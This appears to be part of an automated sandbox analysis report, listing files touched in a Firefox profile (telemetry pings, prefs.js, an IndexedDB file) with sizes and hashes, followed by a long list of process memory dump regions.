                                                                                                                                                                                                                • SHA256 73a118c69aaa6a2067bccc02ff0874f6d53cdf41823b31834be708c65a0855d5
                                                                                                                                                                                                                • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                502d6ee8-80c9-4e11-9c3f-2bdb28c086ee
                                                                                                                                                                                                                • Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\14tbp3gd.default-release\datareporting\glean\pending_pings\502d6ee8-80c9-4e11-9c3f-2bdb28c086ee
                                                                                                                                                                                                                • Size 883B
                                                                                                                                                                                                                • SHA256 be05cfd1480bb25d900431b18f388a65904f6685a4726b40ef9acbe9f13753fc
                                                                                                                                                                                                                • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                902ffca5-ef87-47e5-af78-be12939c2e2a
                                                                                                                                                                                                                • Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\14tbp3gd.default-release\datareporting\glean\pending_pings\902ffca5-ef87-47e5-af78-be12939c2e2a
                                                                                                                                                                                                                • Size 16KB
                                                                                                                                                                                                                • SHA256 4f6647d5278e11171fba4630d14b9882ef5efa8e4e901816fd0a7b184d0bf36d
                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                ddc2ce87-989a-46d9-99dc-b2a363117432
                                                                                                                                                                                                                • Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\14tbp3gd.default-release\datareporting\glean\pending_pings\ddc2ce87-989a-46d9-99dc-b2a363117432
                                                                                                                                                                                                                • Size 235B
                                                                                                                                                                                                                • SHA256 b8bd44370a402c17a1d60d55fe63785a193d52ac3e217c84d6ac1e6107e4dc4e
                                                                                                                                                                                                                • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                e10e7d45-9322-465e-a0a0-0ff1e75fdc80
                                                                                                                                                                                                                • Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\14tbp3gd.default-release\datareporting\glean\pending_pings\e10e7d45-9322-465e-a0a0-0ff1e75fdc80
                                                                                                                                                                                                                • Size 2KB
                                                                                                                                                                                                                • SHA256 71e64724d279a584b1966a62be06f1de44d02138e4caa1e053976c7295708db0
                                                                                                                                                                                                                • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                prefs.js
                                                                                                                                                                                                                • Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\14tbp3gd.default-release\prefs.js
                                                                                                                                                                                                                • Size 7KB
                                                                                                                                                                                                                • SHA256 dc97580d71075794538f62cdda5edf609a7529f8402251a7eb37cbd16b0c716f
                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                prefs.js
                                                                                                                                                                                                                • Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\14tbp3gd.default-release\prefs.js
                                                                                                                                                                                                                • Size 6KB
                                                                                                                                                                                                                • SHA256 3fa17ead7f84dfe4f5839b8b02f9f27ea4d3a8be99a36fc0f74afbcd9bfd19ca
                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                prefs.js
                                                                                                                                                                                                                • Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\14tbp3gd.default-release\prefs.js
                                                                                                                                                                                                                • Size 6KB
                                                                                                                                                                                                                • SHA256 39bea9e93b4afc8db0bf7888c090ce1c625f6e7c877db518844495a66fb58518
                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                sessionCheckpoints.json.tmp
                                                                                                                                                                                                                • Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\14tbp3gd.default-release\sessionCheckpoints.json.tmp
                                                                                                                                                                                                                • Size 288B
                                                                                                                                                                                                                • SHA256 2fca1f29b73dd5b4159fa1eb16e69276482f5224ba7d2219a547039129a51f0e
                                                                                                                                                                                                                • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                3870112724rsegmnoittet-es.sqlite
                                                                                                                                                                                                                • Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\14tbp3gd.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite
                                                                                                                                                                                                                • Size 3.2MB
                                                                                                                                                                                                                • SHA256 bd124e68a16c2d5a83a7c276ce23c410c399450908f289aa83314541b4b35790
                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                memory/888-150-0x000001E087D90000-0x000001E087DB2000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/888-173-0x000001E087B10000-0x000001E087B1C000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/1108-1008-0x000002A0652F0000-0x000002A0652FC000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/1156-556-0x00007FFA64C60000-0x00007FFA64C85000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/1156-94-0x00007FFA64B10000-0x00007FFA64B24000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/1156-1060-0x00007FFA69730000-0x00007FFA6973F000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/1156-1061-0x00007FFA64B10000-0x00007FFA64B24000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/1156-1063-0x00007FFA645D0000-0x00007FFA645EA000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/1156-1064-0x00007FFA5E810000-0x00007FFA5E844000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/1156-1065-0x00007FFA546B0000-0x00007FFA5477E000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/1156-1066-0x00007FFA64C60000-0x00007FFA64C85000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/1156-1067-0x00007FFA54060000-0x00007FFA541EA000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/1156-1068-0x00007FFA65490000-0x00007FFA6549D000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/1156-1069-0x00007FFA53FA0000-0x00007FFA5405E000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/1156-1070-0x00007FFA58410000-0x00007FFA58B16000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/1156-1071-0x00007FFA6E900000-0x00007FFA6E90F000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/1156-1072-0x00007FFA65030000-0x00007FFA65059000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/1156-1073-0x00007FFA64750000-0x00007FFA647D0000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/1156-1062-0x00007FFA54780000-0x00007FFA54CB1000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/1156-1052-0x000002255FDF0000-0x000002255FE8B000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/1156-39-0x00007FFA58410000-0x00007FFA58B16000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/1156-47-0x00007FFA6E900000-0x00007FFA6E90F000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/1156-1057-0x00007FFA647D0000-0x00007FFA647FC000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/1156-990-0x00007FFA58410000-0x00007FFA58B16000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/1156-1004-0x00007FFA54060000-0x00007FFA541EA000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/1156-76-0x00007FFA64750000-0x00007FFA647D0000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/1156-69-0x00007FFA647D0000-0x00007FFA647FC000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/1156-54-0x00007FFA69B50000-0x00007FFA69B6A000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/1156-46-0x00007FFA65030000-0x00007FFA65059000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/1156-91-0x00007FFA69730000-0x00007FFA6973F000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/1156-543-0x00007FFA58410000-0x00007FFA58B16000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/1156-97-0x00007FFA54780000-0x00007FFA54CB1000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/1156-87-0x00007FFA69780000-0x00007FFA6978D000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/1156-1059-0x00007FFA69780000-0x00007FFA6978D000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/1156-103-0x00007FFA546B0000-0x00007FFA5477E000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/1156-542-0x000002255FDF0000-0x000002255FE8B000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/1156-102-0x00007FFA5E810000-0x00007FFA5E844000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/1156-517-0x00007FFA5E810000-0x00007FFA5E844000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/1156-519-0x00007FFA546B0000-0x00007FFA5477E000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/1156-101-0x00007FFA645D0000-0x00007FFA645EA000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/1156-336-0x00007FFA64B10000-0x00007FFA64B24000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/1156-337-0x00007FFA54780000-0x00007FFA54CB1000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/1156-187-0x00007FFA69730000-0x00007FFA6973F000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/1156-1056-0x00007FFA69B50000-0x00007FFA69B6A000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/1156-106-0x00007FFA58410000-0x00007FFA58B16000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/1156-107-0x00007FFA65030000-0x00007FFA65059000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/1156-142-0x00007FFA53FA0000-0x00007FFA5405E000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/1156-137-0x00007FFA65490000-0x00007FFA6549D000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/1156-135-0x00007FFA54060000-0x00007FFA541EA000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/1156-133-0x00007FFA64C60000-0x00007FFA64C85000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/2024-167-0x0000017858730000-0x000001785873C000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/2160-524-0x00000220730F0000-0x00000220730FC000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/2180-672-0x0000014122640000-0x000001412264C000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/4772-174-0x0000015A92C30000-0x0000015A92C3C000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/4860-941-0x000002125ED70000-0x000002125EE0B000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/4992-1074-0x0000018C12E70000-0x0000018C12F0B000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/4992-518-0x0000018C12E70000-0x0000018C12F0B000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/5264-590-0x000001D124DB0000-0x000001D124DBC000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/5456-1021-0x000002179A300000-0x000002179A30C000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/5456-1020-0x00000217989C0000-0x0000021798A5B000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/5620-658-0x00000276D2110000-0x00000276D211C000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/5932-588-0x000001E39D330000-0x000001E39D33C000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/6056-594-0x0000025E310E0000-0x0000025E310EC000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/6056-591-0x0000025E31640000-0x0000025E31648000-memory.dmp
                                                                                                                                                                                                                Download

                                                                                                                                                                                                                memory/6096-613-0x00000187D0610000-0x00000187D06AB000-memory.dmp
                                                                                                                                                                                                                Download